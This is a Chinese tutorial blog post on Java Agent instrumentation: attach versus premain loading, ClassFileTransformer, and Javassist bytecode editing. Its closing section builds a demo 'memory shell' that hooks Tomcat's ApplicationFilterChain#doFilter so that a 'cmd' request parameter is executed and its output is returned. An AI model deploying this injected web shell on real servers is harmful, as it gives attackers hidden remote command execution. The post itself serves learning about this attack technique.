Java agent学习

介绍

JDK1.5开始,Java新增了Instrumentation(Java Agent API)JVMTI(JVM Tool Interface)功能,允许JVM在加载某个class文件之前对其字节码进行修改,同时也支持对已加载的class(类字节码)进行重新加载(Retransform)。

利用Java Agent这一特性衍生出了APM(Application Performance Management,应用性能管理)RASP(Runtime application self-protection,运行时应用自我保护)IAST(Interactive Application Security Testing,交互式应用程序安全测试)等相关产品,它们都无一例外的使用了Instrumentation/JVMTIAPI来实现动态修改Java类字节码并插入监控或检测代码。

JavaAgent其实也就是一个 Jar 包,只是启动方式和普通 Jar 包有所不同,对于普通的Jar包,通过指定类的 main 函数进行启动,但是 Java Agent 并不能单独启动,必须依附在一个 Java 应用程序运行。而它的启动方法共有两种,一种的方法是premain,一种是agentmain。

  • jvm方式:实现 premain方法,在主函数执行前加载。// 当我们提供的 agent 属于基础必备服务时,可以用这种方式
  • attach方法:实现 agentmain方法,在主函数执行后加载。// 我们的 agent 用来 debug 定位问题,就可以用这种方式

其中 jvm方式,也就是说要使用这个 agent 的目标应用,在启动的时候,需要指定 jvm 参数-javaagent:xxx.jar。

而当目标应用程序启动之后,没有添加 -javaagent 加载我们的 agent,但我们希望目标程序使用我们的 agent,这时候就可以使用 attach 方式来使用。

这两种运行方式的最大区别在于第一种方式只能在程序启动时指定Agent文件,而attach方式可以在Java程序运行后根据进程ID动态注入AgentJVM

特性

Java Agent和普通的Java类并没有任何区别,普通的Java程序中规定了main方法为程序入口,而Java Agent则将premain(Agent模式)和agentmain(Attach模式)作为了Agent程序的入口,两者所接受的参数是完全一致的,如下:

public static void premain(String args, Instrumentation inst) {}
public static void agentmain(String args, Instrumentation inst) {}

Java Agent还限制了我们必须以jar包的形式运行或加载,我们必须将编写好的Agent程序打包成一个jar文件。除此之外,Java Agent还强制要求了所有的jar文件中必须包含/META-INF/MANIFEST.MF文件,且该文件中必须定义好Premain-Class(Agent模式)或Agent-Class:(Agent模式)配置,如:

Premain-Class: com.anbai.sec.agent.CrackLicenseAgent
Agent-Class: com.anbai.sec.agent.CrackLicenseAgent

如果我们需要修改已经被JVM加载过的类的字节码,那么还需要设置在MANIFEST.MF中添加Can-Retransform-Classes: trueCan-Redefine-Classes: true

简单例子

  • IDEA 作为编辑器
  • maven 进行包管理

首先新建project

新建一个SimpleAgent类

public class SimpleAgent {

    /**
     * jvm 参数形式启动,运行此方法
     *
     * @param agentArgs
     * @param inst
     */
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("premain");
    }

    /**
     * 动态 attach 方式启动,运行此方法
     *
     * @param agentArgs
     * @param inst
     */
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("agentmain");
    }
}

通过配置文件MANIFEST.MF打包

  • 在main/资源目录(Resources)下,新建目录META-INF
  • META-INF目录下,新建文件MANIFEST.MF

文件内容如下

Manifest-Version: 1.0
Premain-Class: com.agent.SimpleAgent
Agent-Class: com.agent.SimpleAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

请注意,最后的一个空行不能少,在 idea 中,删除最后一行时,会有错误提醒

image-20220316132238821

然后我们的pom.xml配置,需要作出对应的修改

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>Java_agent</groupId>
    <artifactId>Java_agent</artifactId>
    <version>1.0-SNAPSHOT</version>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                    <archive>
                        <manifestFile>
                            src/main/resources/META-INF/MANIFEST.MF
                        </manifestFile>
                        <!--<manifestEntries>-->
                        <!--<Premain-Class>com.git.hui.agent.SimpleAgent</Premain-Class>-->
                        <!--<Agent-Class>com.git.hui.agent.SimpleAgent</Agent-Class>-->
                        <!--<Can-Redefine-Classes>true</Can-Redefine-Classes>-->
                        <!--<Can-Retransform-Classes>true</Can-Retransform-Classes>-->
                        <!--</manifestEntries>-->
                    </archive>
                </configuration>

                <executions>
                    <execution>
                        <goals>
                            <goal>attached</goal>
                        </goals>
                        <phase>package</phase>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
</project>

通过mvn assembly:assembly命令打包

image-20220316121015209

得到结果

image-20220316130615521

再写一个测试类

  public static void main(String[] args) throws InterruptedException {
        int i =0;
        while (true){
            i += 2;
            System.out.println("i: " + i);
            Thread.sleep(1000);
        }
    }

jvm

IDEA 测试时,可以直接在配置类,添加 jvm 参数,如下

agent 绝对地址: -javaagent:*/java-agent-1.0-SNAPSHOT-jar-with-dependencies.jar

image-20220316133305980

可以看到成功在main函数执行前加载执行了premain函数

这种方法存在一定的局限性——只能在启动时使用-javaagent参数指定。在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain。相比之下,agentmain更加实用。

attach

在使用 attach 方式时,可以简单的理解为要将我们的 agent 注入到目标的应用程序中,所以我们需要自己起一个程序来完成这件事情

package com.agent;

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class AttachDemo {
    public static void main(String[] args)
            throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, IOException, AgentLoadException, AgentInitializationException {
        VirtualMachine vm = VirtualMachine.attach("24840");
        vm.loadAgent("D:\\Java_location\\Java_agent\\target\\Java_agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
    }
}

注意:这里的tools包需要自己导入

VirtualMachine

VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法LoadAgent,Attach 和 Detach 。下面来看看这几个方法的作用

Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上

VirtualMachine vm = VirtualMachine.attach(v.id());

loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。

Detach:从 JVM 上面解除一个代理(agent)

上面的逻辑比较简单,首先通过jps -l获取目标应用的进程号

  • jps 命令类似与 linux 的 ps 命令,但是它只列出系统中所有的 Java 应用程序。 通过 jps 命令可以方便地查看 Java 进程的启动类、传入参数和 Java 虚拟机参数等信息。

image-20220316140133512

修改进程id后运行AttachDemo后,可以看到循环中执行了一次agentmain函数,表明 agent 被成功注入进去

image-20220316140333245

进阶

Instrumentation

InstrumentationJVMTIAgent(JVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。

java.lang.instrument.Instrumentation是监测运行在JVM程序的Java API,利用Instrumentation我们可以实现如下功能:

  1. 动态添加或移除自定义的ClassFileTransformeraddTransformer/removeTransformer),JVM会在类加载时调用Agent中注册的ClassFileTransformer
  2. 动态修改classpathappendToBootstrapClassLoaderSearchappendToSystemClassLoaderSearch),将Agent程序添加到BootstrapClassLoaderSystemClassLoaderSearch(对应的是ClassLoader类的getSystemClassLoader方法,默认是sun.misc.Launcher$AppClassLoader)中搜索;
  3. 动态获取所有JVM已加载的类(getAllLoadedClasses);
  4. 动态获取某个类加载器已实例化的所有类(getInitiatedClasses)。
  5. 重定义某个已加载的类的字节码(redefineClasses)。
  6. 动态设置JNI前缀(setNativeMethodPrefix),可以实现Hook native方法。
  7. 重新加载某个已经被JVM加载过的类字节码retransformClasses)。

Instrumentation类方法如下:

image-20220316143017979

ClassFileTransformer

java.lang.instrument.ClassFileTransformer是一个转换类文件的代理接口,我们可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器。

ClassFileTransformer类代码:

package java.lang.instrument;

public interface ClassFileTransformer {

  /**
     * 类文件转换方法,重写transform方法可获取到待加载的类相关信息
     *
     * @param loader              定义要转换的类加载器;如果是引导加载器,则为 null
     * @param className           类名,如:java/lang/Runtime
     * @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
     * @param protectionDomain    要定义或重定义的类的保护域
     * @param classfileBuffer     类文件格式的输入字节缓冲区(不得修改)
     * @return 字节码byte数组。
     */
    byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain, byte[] classfileBuffer);

}

简单了解一下:

  1. 使用Instrumentation.addTransformer()来加载一个转换器。
  2. 转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。
  3. 对于没有加载的类,会使用ClassLoader.defineClass()定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

其实就是对每个类(已经加载/没有加载)调用Instrumentation转换器,让其返回转换后的字节码,然后通过javassist修改class字节码

重写transform方法需要注意以下事项:

  1. ClassLoader如果是被Bootstrap ClassLoader(引导类加载器)所加载那么loader参数的值是空。
  2. 修改类字节码时需要特别注意插入的代码在对应的ClassLoader中可以正确的获取到,否则会报ClassNotFoundException,比如修改java.io.FileInputStream(该类由Bootstrap ClassLoader加载)时插入了我们检测代码,那么我们将必须保证FileInputStream能够获取到我们的检测代码类。
  3. JVM类名的书写方式路径方式:java/lang/String而不是我们常用的类名方式:java.lang.String
  4. 类字节必须符合JVM校验要求,如果无法验证类字节码会导致JVM崩溃或者VerifyError(类验证错误)
  5. 如果修改的是retransform类(修改已被JVM加载的类),修改后的类字节码不得新增方法修改方法参数类成员变量
  6. addTransformer时如果没有传入retransform参数(默认是false)就算MANIFEST.MF中配置了Can-Redefine-Classes: true而且手动调用了retransformClasses方法也一样无法retransform
  7. 卸载transform时需要使用创建时的Instrumentation实例。

简单实现

添加一个新的Transformer类

新建一个名为TestTransformer的类,内容入下:

package com.agent;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;


public class TestTransformer implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

        System.out.println(className.replace("/", "."));
        return classfileBuffer;
    }
}

重写了TestTransformer方法,返回值不变,打印出类名

添加之前的simple测试类中agentmain/premain函数内容

inst.addTransformer(new TestTransformer());

image-20220316153418751

可以看到打印出了很多类的类名

由此可见,java agent还能有更多用法可以拓展,比如性能监控,日志监控、管理会话、安全过滤、请求管理等。

字节码操作

上面已经知道了java agent可以对每个类(已经加载/没有加载)调用Instrumentation转换器,让其返回转换后的字节码

那么我们只需要通过javassist/ASM修改class字节码就可以达到注入内存马的效果了

ASM

ASM是一种通用Java字节码操作和分析框架,它可以直接以二进制形式修改一个现有的类或动态生成类文件。ASM的版本更新快(ASM 9.0已经支持JDK 16)、性能高、功能全,学习成本也相对较高,ASM官方用户手册:ASM 4.0 A Java bytecode engineering library

ASM相对于javassist更底层,javassist是asm的封装,效率也更高,但比较复杂,后续可能会专门写一篇文章来学习

javassist

javassist 简介

Javassist是一个开源的分析、编辑和创建Java字节码的类库;相比ASM,Javassist提供了更加简单便捷的API,使用Javassist我们可以像写Java代码一样直接插入Java代码片段,让我们不再需要关注Java底层的字节码的和栈操作,仅需要学会如何使用Javassist的API即可实现字节码编辑。学习Javassist可以阅读官方的入门教程:Getting Started with Javassist

我们常用到的动态特性主要是反射,在运行时查找对象属性、方法,修改作用域,通过方法名称调用方法等。在线的应用不会频繁使用反射,因为反射的性能开销较大。其实还有一种和反射一样强大的特性,但是开销却很低,它就是Javassist。

与其他类似的字节码编辑器不同, Javassist 提供了两个级别的 API: 源级别和字节码级别。 如果用户使用源级 API, 他们可以编辑类文件, 而不知道 Java 字节码的规格。 整个 API 只用 Java 语言的词汇来设计。 您甚至可以以源文本的形式指定插入的字节码; Javassist 在运行中编译它。 另一方面, 字节码级 API 允许用户直接编辑类文件作为其他编辑器。

Javassist API和标识符

Javassist为我们提供了类似于Java反射机制的API,如:CtClassCtConstructorCtMethodCtField与Java反射的ClassConstructorMethodField非常的类似。

描述
ClassPoolClassPool是一个存储CtClass的容器,如果调用get方法会搜索并创建一个表示该类的CtClass对象
CtClassCtClass表示的是从ClassPool获取的类对象,可对该类就行读写编辑等操作
CtMethod可读写的类方法对象
CtConstructor可读写的类构造方法对象
CtField可读写的类成员变量对象

Javassist使用了内置的标识符来表示一些特定的含义,如:$_表示返回值。我们可以在动态插入类代码的时候使用这些特殊的标识符来表示对应的对象。

表达式描述
$0, $1, $2, ...this和方法参数
$argsObject[]类型的参数数组
$$所有的参数,如m($$)等价于m($1,$2,...)
$cflow(...)cflow变量
$r返回类型,用于类型转换
$w包装类型,用于类型转换
$_方法返回值
$sig方法签名,返回java.lang.Class[]数组类型
$type返回值类型,java.lang.Class类型
$class当前类,java.lang.Class类型

想要系统的学习可以看官方教程

读取类/成员变量/方法信息

Javassist读取类信息非常简单,使用ClassPool对象获取到CtClass对象后就可以像使用Java反射API一样去读取类信息了。

首先maven导入

    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.26.0-GA</version>
        </dependency>
    </dependencies>

也可以官网下载jar包,导入module,library

http://www.javassist.org/

Student学生类实例

package com.agent;


import java.io.Serializable;

public class Student implements Serializable {
    private String name;
    private int age;
    public String address;

    public Student() {
    }
    private Student(String name){
        this.name = name;
    }
    Student(String name ,int age){
        this.name = name;
        this.age = age;
    }
    public Student(String name,int age,String address){
        this.name = name;
        this.age = age;
        this.address = address;
    }
    private void function(){
        System.out.println("function");
    }
    public void method1(){
        System.out.println("method");
    }
    public void method2(String s){
        System.out.println("method" + s);
    }
    public String method3(String s,int i){
        return s + "," + i;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", address='" + address + '\'' +
                '}';
    }
}

Javassist读取类信息示例代码:

package com.agent;
import javassist.*;

import java.util.Arrays;
public class JavassistDemo1 {
    public static void main(String[] args) {
        // 创建ClassPool对象
        ClassPool classPool = ClassPool.getDefault();
        try {
            CtClass ctClass = classPool.get("com.agent.Student");
            System.out.println(
                    "解析类名:" + ctClass.getName() + ",父类:" + ctClass.getSuperclass().getName() +
                            ",实现接口:" + Arrays.toString(ctClass.getInterfaces())
            );
            System.out.println("-----------------------------------------------------------------------------");
            // 获取所有的构造方法
            CtConstructor[] ctConstructors = ctClass.getDeclaredConstructors();
            // 获取所有的成员变量
            CtField[] ctFields = ctClass.getDeclaredFields();
            // 获取所有的成员方法
            CtMethod[] ctMethods = ctClass.getDeclaredMethods();
            // 输出所有的构造方法
            for (CtConstructor ctConstructor : ctConstructors) {
                System.out.println(ctConstructor.getMethodInfo());
            }
            System.out.println("-----------------------------------------------------------------------------");
            // 输出所有成员变量
            for (CtField ctField : ctFields) {
                System.out.println(ctField);
            }
            System.out.println("-----------------------------------------------------------------------------");
            // 输出所有的成员方法
            for (CtMethod ctMethod : ctMethods) {
                System.out.println(ctMethod);
            }
        } catch (NotFoundException e) {
            e.printStackTrace();
        }
    }

}

程序执行结果:

解析类名:com.agent.Student,父类:java.lang.Object,实现接口:[javassist.CtClassType@7530d0a[public abstract interface class java.io.Serializable fields= constructors= methods=]]
-----------------------------------------------------------------------------
<init> ()V
<init> (Ljava/lang/String;)V
<init> (Ljava/lang/String;I)V
<init> (Ljava/lang/String;ILjava/lang/String;)V
-----------------------------------------------------------------------------
com.agent.Student.name:Ljava/lang/String;
com.agent.Student.age:I
com.agent.Student.address:Ljava/lang/String;
-----------------------------------------------------------------------------
javassist.CtMethod@fc41e2d9[private function ()V]
javassist.CtMethod@cd0f3471[public method1 ()V]
javassist.CtMethod@bcf01e28[public method2 (Ljava/lang/String;)V]
javassist.CtMethod@67996580[public method3 (Ljava/lang/String;I)Ljava/lang/String;]
javassist.CtMethod@69cb6c6d[public toString ()Ljava/lang/String;]
修改类方法

Javassist实现类方法修改只需要调用CtMethod类的对应的API就可以了。CtMethod提供了类方法修改的API,如:setModifiers可修改类的访问修饰符,insertBeforeinsertAfter能够实现在类方法执行的前后插入任意的Java代码片段,setBody可以修改整个方法的代码等。

Javassist修改类方法示例代码:

package com.agent;


import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.Modifier;
import org.apache.commons.io.FileUtils;
import java.io.File;

public class JavassistDemo2 {

    public static void main(String[] args) {
        // 创建ClassPool对象
        ClassPool classPool = ClassPool.getDefault();
        try {
            CtClass ctClass = classPool.get("com.agent.Student");
            // 获取method3方法
            CtMethod helloMethod = ctClass.getDeclaredMethod("method3");
            // 修改方法的访问权限为private
            helloMethod.setModifiers(Modifier.PRIVATE);
            // 添加方法内容到最前,打印方法的第一个参数值
            helloMethod.insertBefore("System.out.println($1);");
            // 添加方法内容到最后,打印方法的返回值并返回Return:返回值
            helloMethod.insertAfter("System.out.println($_); return \"Return:\" + $_;");
            File classFilePath = new File(new File(System.getProperty("user.dir"), "test"), "Test.class");
            // 使用类CtClass,生成类二进制
            byte[] bytes = ctClass.toBytecode();
            // 将class二进制内容写入到类文件
            FileUtils.writeByteArrayToFile(classFilePath, bytes);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

生成Test.class文件

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.agent;

import java.io.Serializable;

public class Student implements Serializable {
    private String name;
    private int age;
    public String address;

    public Student() {
    }

    private Student(String name) {
        this.name = name;
    }

    Student(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public Student(String name, int age, String address) {
        this.name = name;
        this.age = age;
        this.address = address;
    }

    private void function() {
        System.out.println("function");
    }

    public void method1() {
        System.out.println("method");
    }

    public void method2(String s) {
        System.out.println("method" + s);
    }

    private String method3(String s, int i) {
        System.out.println(s);
        String var4 = s + "," + i;
        System.out.println(var4);
        return "Return:" + var4;
    }

    public String toString() {
        return "Student{name='" + this.name + '\'' + ", age=" + this.age + ", address='" + this.address + '\'' + '}';
    }
}
创建Java类二进制

假设我们需要生成一个JavassistHelloWorld类,代码如下:

package com.agent;

public class JavassistHelloWorld {
    private static String content = "Hello world~";
    public static void main(String[] args) {
        System.out.println(content);
    }
}

使用Javassist生成类字节码示例:

package com.agent;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;
import org.apache.commons.io.FileUtils;

import java.io.File;

public class JavassistDemo3 {

    public static void main(String[] args) {
        // 创建ClassPool对象
        ClassPool classPool = ClassPool.getDefault();
        // 使用ClassPool创建一个JavassistHelloWorld类
        CtClass ctClass = classPool.makeClass("com.agent.JavassistHelloWorld");
        try {
            // 创建类成员变量content
            CtField ctField = CtField.make("private static String content = \"Hello world~\";", ctClass);
            // 将成员变量添加到ctClass对象中
            ctClass.addField(ctField);
            // 创建一个主方法并输出content对象值
            CtMethod ctMethod = CtMethod.make(
                    "public static void main(String[] args) {System.out.println(content);}", ctClass
            );
            // 将成员方法添加到ctClass对象中
            ctClass.addMethod(ctMethod);
            File classFilePath = new File(new File(System.getProperty("user.dir"), "test"), "JavassistHelloWorld.class");
            // 使用类CtClass,生成类二进制
            byte[] bytes = ctClass.toBytecode();
            // 将class二进制内容写入到类文件
            FileUtils.writeByteArrayToFile(classFilePath, bytes);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

生成的JavassistHelloWorld.class

package com.agent;

public class JavassistHelloWorld {
    private static String content = "Hello world~";
    public static void main(String[] var0) {
        System.out.println(content);
    }
    public JavassistHelloWorld() {
    }
}

内存马

已知在tomcat下注册内存马的方式很多

  • 动态注册servlet
  • 动态注册filter
  • 动态注册listener

但是我们常用的webshell管理工具冰蝎/哥斯拉往往都是通过Java agent拦截修改关键类字节码实现内存shell

该方式不会生成新的Servlet,Filter,Listener对象,因此隐蔽性更强。

唯一美中不足的是,需要生成Agent文件落地,有可能会被IDS文件检测检测到Agent。

为什么?

  • 通过拦截修改关键类的字节码,只需要寻找到关键类做处理即可,进而最大程度实现一套代码通用(理论上)。

怎么利用agent实现内存马?

  • 由于实际环境中我们通常遇到的都是已经启动着的,所以 premain 那种方法不合适内存马注入,所以我们这里利用 agentmain 方法来尝试注入我们的内存马

  • 利用JavaAgent的agentmain方法在Instrumentation转换器的过程中通过javassist修改class字节码

简单原理

接下来我们来做一个简单的内存马原理实验。

首先我们写一个程序,在执行方法后等待输入,当我们注入JavaAgent后在进行重新执行。

MemshellDemo1.java

package com.agent;

import java.util.Scanner;

public class MemshellDemo1 {
        public static void main(String[] args) {
        while (true){
            Hello h1 = new Hello();
            h1.test();
            Scanner sc = new Scanner(System.in);
            sc.next();
        }
    }
}

Hello.java

package com.agent;

public class Hello {
    public void test() {
        System.out.println("lyy9");
    }
}

image-20220317081445583

接下来我们开始写JavaAgent

修改之前的agentmain和premain函数,先获取所有已经加载的类,然后做一个循环判断类是否已经加载,之后添加Transformer,然后在通过retransformClasses触发过滤已加载的类。

JavassistTest.java(agentmain)

package com.agent;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class SimpleAgent {

    /**
     * jvm 参数形式启动,运行此方法
     *
     * @param agentArgs
     * @param inst
     */
    public static void premain(String agentArgs, Instrumentation inst)   {
        System.out.println("premain");
        inst.addTransformer(new TransformerDemo1());
    }

    /**
     * 动态 AttachDemo 方式启动,运行此方法
     *
     * @param agentArgs
     * @param inst
     */
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        System.out.println("agentmain");
        Class[] classes = inst.getAllLoadedClasses();
        // 判断类是否已经加载
        for (Class aClass : classes) {
            if (aClass.getName().equals(TransformerDemo1.editClassName)) {
                // 添加 Transformer
                inst.addTransformer(new TransformerDemo1(), true);
                // 触发 Transformer
                inst.retransformClasses(aClass);
            }
        }

    }
}

我们的修改TransformerTransformerDemo1.java

package com.agent;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class TransformerDemo1 implements ClassFileTransformer {
    public static final String editClassName = "com.agent.Hello";
    public static final String editMethod = "test";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {
            //使用 JVM 的类搜索路径
            ClassPool cp = ClassPool.getDefault();
            if (classBeingRedefined != null) {
                //如果存在重定义的类,添加额外的类搜索路径
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            //获取我们需要的Class对象
            CtClass ctc = cp.get(editClassName);
            //获取我们需要的Method对象
            CtMethod method = ctc.getDeclaredMethod(editMethod);
            String source = "{System.out.println(\"hello  lyy9,this is test!\");}";
            //setBody:设置方法体
            //insertBefore:插入在方法体最前面
            //insertAfter:插入在方法体最后面
            //insertAt:在方法体的某一行插入内容
            method.setBody(source);
            //获得修改过的类文件
            byte[] bytes = ctc.toBytecode();
            ctc.detach();
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

重新打包,然后运行MemshellDemo1,正常获取

image-20220317101237062

在通过jps获得进程号利用attach方法修改

package com.agent;

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class AttachDemo {
    public static void main(String[] args)
            throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, IOException, AgentLoadException, AgentInitializationException {
        VirtualMachine vm = VirtualMachine.attach("18588");
        vm.loadAgent("D:\\Java_location\\Java_agent\\target\\Java_agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
    }
}

成功attach,再次输入,方法内容被修改

image-20220317101412192

实战实现

现在的问题?

  1. 修改哪个关键类的字节码?

对于第一个问题,其实之前分析过tomcat下的Fliter内存马

知道当请求到达Servlet之前,一定会经过 Filter ,以此来对我们的请求进行过滤,其中存在一个关键函doFilter

org.apache.catalina.core.ApplicationFilterChain#doFilter
doFilter 函数作用是依次调用 Filter 链上的 Filter,所以 doFilter 函数是一定会被调用的

该方法有ServletRequest和ServletResponse两个参数,里面封装了请求的request和response。如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回

SimpleAgent.java

package agent.memshell;

import java.lang.instrument.Instrumentation;

public class SimpleAgent {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new MyTransformer(), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();

        for (int i = 0; i < loadedClasses.length; ++i) {
            Class clazz = loadedClasses[i];
            if (clazz.getName().equals(ClassName)) {
                try {
                    inst.retransformClasses(new Class[]{clazz});
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
    public static void premain(String args, Instrumentation inst) throws Exception {
    }
}

MyTransformer.java

package agent.memshell;
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace('/', '.');

        if (className.equals(ClassName)) {
            ClassPool cp = ClassPool.getDefault();
            if (aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }
            CtClass cc;
            try {
                cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +
                        "            javax.servlet.ServletResponse res = response;" +
                        "String cmd = req.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "Process process = Runtime.getRuntime().exec(cmd);\n" +
                        "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
                        "new java.io.InputStreamReader(process.getInputStream()));\n" +
                        "StringBuilder stringBuilder = new StringBuilder();\n" +
                        "String line;\n" +
                        "while ((line = bufferedReader.readLine()) != null) {\n" +
                        "stringBuilder.append(line + '\\n');\n" +
                        "}\n" +
                        "res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
                        "res.getOutputStream().flush();\n" +
                        "res.getOutputStream().close();\n" +
                        "}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (NotFoundException | IOException | CannotCompileException e) {
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

pom.xml

使用maven-assembly-plugin将依赖内容也一起打包

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>java_agent_memshell</groupId>
    <artifactId>java_agent_memshell</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.26.0-GA</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>7</source>
                    <target>7</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                    <archive>
                        <manifestFile>
                            src/main/resources/META-INF/MANIFEST.MF
                        </manifestFile>
                    </archive>
                </configuration>

                <executions>
                    <execution>
                        <goals>
                            <goal>attached</goal>
                        </goals>
                        <phase>package</phase>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
</project>

assembly:assembly打包处jar包

这只是一个简单的demo实现,想要拿到真实环境利用还要完善很多步骤,这里不再深入,如果以后要学agent内存马会在另起一篇文章。

总结

简单来说,java agent是一种特性,使用两种不同的方式,都可以实现对应用程序的动态hook,利用 Instrumentation 做到完全无侵入,通过这种特性发展出了很多新型技术和产品。例:IAST和RASP

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值